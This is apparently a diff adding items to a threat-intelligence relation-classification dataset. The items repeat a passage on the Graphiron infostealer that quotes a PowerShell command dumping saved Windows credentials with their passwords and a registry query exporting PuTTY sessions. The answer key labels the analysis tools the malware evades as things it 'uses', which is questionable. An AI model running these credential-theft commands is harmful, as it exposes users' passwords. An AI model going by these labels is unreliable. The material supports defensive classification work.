carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: pslist\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: reconstructor\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: regmon\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: reshacker\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: rpcapd\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: scylla\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: scylla_64\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: scylla_86\n### Possible Relationship Labels:\n{'ATTACK_PATTERN': {'MALWARE': ['delivers', 'uses'], 'IDENTITY': ['targets'], 'LOCATION': ['targets'], 'VULNERABILITY': ['targets'], 'TOOL': ['targets', 'uses']}, 'CAMPAIGN': {'THREAT_ACTOR': ['attributed-to'], 'INFRASTRUCTURE': ['compromises'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'COURSE_OF_ACTION': {'INDICATOR': ['investigates', 'mitigates'], 'VULNERABILITY': ['remediates', 'mitigates'], 'ATTACK_PATTERN': ['mitigates'], 'MALWARE': ['remediates', 'mitigates'], 'TOOL': ['mitigates']}, 'IDENTITY': {'LOCATION': ['located-at']}, 'INDICATOR': {'CAMPAIGN': ['indicates'], 'THREAT_ACTOR': ['indicates'], 'INFRASTRUCTURE': ['indicates'], 'ATTACK_PATTERN': ['indicates'], 'MALWARE': ['indicates'], 'TOOL': ['indicates']}, 'INFRASTRUCTURE': {'INFRASTRUCTURE': ['communicates-with', 'consists-of', 'controls', 'uses'], 'MALWARE': ['controls', 'delivers', 'hosts'], 'VULNERABILITY': ['has'], 'TOOL': ['hosts'], 'LOCATION': ['located-at'], 'INDICATOR': ['consists-of', 'communicates-with']}, 'MALWARE': {'THREAT_ACTOR': ['authored-by'], 'INFRASTRUCTURE': ['beacons-to', 'exfiltrates-to', 'targets', 'uses'], 'INDICATOR': ['communicates-with'], 'MALWARE': ['variant-of', 'uses', 'downloads', 'drops', 'controls'], 'TOOL': ['downloads', 'drops', 'uses'], 'VULNERABILITY': ['exploits', 'targets'], 'LOCATION': ['originates-from', 'targets'], 'IDENTITY': ['targets'], 'ATTACK_PATTERN': ['uses']}, 'THREAT_ACTOR': {'IDENTITY': ['targets', 'impersonates', 'attributed-to'], 'INFRASTRUCTURE': ['uses', 'hosts', 'owns', 'compromises'], 'LOCATION': ['targets', 'located-at'], 'VULNERABILITY': ['targets'], 'ATTACK_PATTERN': ['uses'], 'MALWARE': ['uses'], 'TOOL': ['uses']}, 'TOOL': {'MALWARE': ['delivers', 'drops'], 'VULNERABILITY': ['has', 'targets'], 'IDENTITY': ['targets'], 'INFRASTRUCTURE': ['targets', 'uses'], 'LOCATION': ['targets']}}\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nGraphiron\n### Target Entity: smsniff\n### Possible Relationship Labels:\n['downloads', 'drops', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it 